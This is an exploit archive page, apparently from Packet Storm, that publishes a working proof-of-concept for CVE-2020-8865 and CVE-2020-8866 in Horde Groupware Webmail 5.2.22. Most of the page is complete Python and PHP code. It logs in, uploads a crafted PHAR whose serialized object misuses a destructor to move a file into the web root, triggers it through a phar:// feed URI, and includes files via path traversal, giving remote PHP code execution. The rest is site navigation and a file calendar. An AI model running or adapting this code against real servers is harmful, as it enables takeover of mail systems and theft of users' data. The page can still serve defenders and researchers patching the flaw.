exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Horde Groupware Webmail Edition 5.2.22 PHAR Loading

Horde Groupware Webmail Edition 5.2.22 PHAR Loading
Posted Mar 12, 2020
Authored by Andrea Cardaci

Horde Groupware Webmail Edition version 5.2.22 suffers from a PHAR loading vulnerability.

tags | exploit
advisories | CVE-2020-8865, CVE-2020-8866
SHA-256 | 62ec2c9073799c623bbe9b4c78815ab902ee4f55051f070f8a35acd4c921b964

Horde Groupware Webmail Edition 5.2.22 PHAR Loading

Change Mirror Download
## exploit-phar-loading.py
#!/usr/bin/env python3
from horde import Horde
import requests
import subprocess
import sys

TEMP_DIR = '/tmp'
WWW_ROOT = '/var/www/html'

if len(sys.argv) < 5:
print('Usage: <base_url> <username> <password> <filename> <php_code>')
sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
filename = sys.argv[4]
php_code = sys.argv[5]

source = '{}/{}.phar'.format(TEMP_DIR, filename)
destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)
temp = 'temp.phar'
url = '{}/static/{}.php'.format(base_url, filename)

# log into the web application
horde = Horde(base_url, username, password)

# create a PHAR that performs a rename when loaded and runs the payload when executed
subprocess.run([
'php', 'create-renaming-phar.php',
temp, source, destination, php_code
], stderr=subprocess.DEVNULL)

# upload the PHAR
with open(temp, 'rb') as fs:
phar_data = fs.read()
horde.upload_to_tmp('{}.phar'.format(filename), phar_data)

# load the phar thus triggering the rename
horde.trigger_phar(source)

# issue a request to trigger the payload
response = requests.get(url)
print(response.text)
## exploit-phar-loading.py EOF




## create-renaming-phar.php
#!/usr/bin/env php
<?php

// the __destruct method of Horde_Auth_Passwd eventually calls
// rename($this->_lockfile, $this->_params['filename']) if $this->_locked
class Horde_Auth_Passwd {
// visibility must match since protected members are prefixed by "\x00*\x00"
protected $_locked;
protected $_params;

function __construct($source, $destination) {
$this->_params = array('filename' => $destination);
$this->_locked = true;
$this->_lockfile = $source;
}
};

function createPhar($path, $source, $destination, $stub) {
// create the object and specify source and destination files
$object = new Horde_Auth_Passwd($source, $destination);

// create the PHAR
$phar = new Phar($path);
$phar->startBuffering();
$phar->addFromString('x', '');
$phar->setStub("<?php $stub __HALT_COMPILER();");
$phar->setMetadata($object);
$phar->stopBuffering();
}

function main() {
global $argc, $argv;

// check arguments
if ($argc != 5) {
fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n");
exit(1);
}

// create a fresh new phar
$path = $argv[1];
$source = $argv[2];
$destination = $argv[3];
$stub = $argv[4];
@unlink($path);
createPhar($path, $source, $destination, $stub);
}

main();
## create-renaming-phar.php EOF


## horde.py
import re
import requests

class Horde():
def __init__(self, base_url, username, password):
self.base_url = base_url
self.username = username
self.password = password
self.session = requests.session()
self.token = None
self._login()

def _login(self):
url = '{}/login.php'.format(self.base_url)
data = {
'login_post': 1,
'horde_user': self.username,
'horde_pass': self.password
}
response = self.session.post(url, data=data)
token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
assert (
len(response.history) == 1 and
response.history[0].status_code == 302 and
response.history[0].headers['location'] == '/services/portal/' and
token_match
), 'Cannot log in'
self.token = token_match.group(1)

def upload_to_tmp(self, filename, data):
url = '{}/turba/add.php'.format(self.base_url)
files = {
'object[photo][img][file]': (None, filename),
'object[photo][new]': ('x', data)
}
response = self.session.post(url, files=files)
assert response.status_code == 200, 'Cannot upload the file to tmp'

def include_remote_inc_file(self, path):
# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
app = 'trean:trean_Block_Bookmarks'

# add one dummy bookmark (to be sure)
url = '{}/trean/add.php'.format(self.base_url)
data = {
'actionID': 'add_bookmark',
'url': 'x'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark'

# add bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark block'

# edit bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[template]': '../../../../../../../../../../../' + path
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the bookmark block'

# evaluate the remote file
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)
print(response.text)

# remove the bookmark block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the bookmark block'

def trigger_phar(self, path):
# vulnerable block (alternatively the same can be obtained by creating a
# bookmark with the PHAR path and clocking on it)
app = 'horde:horde_Block_Feed'

# add syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the syndicated feed block'

# edit syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[uri]': 'phar://{}'.format(path)
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the syndicated feed block'

# load the PHAR archive
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)

# remove the syndicated feed block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the syndicated feed block'
## horde.py EOF
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close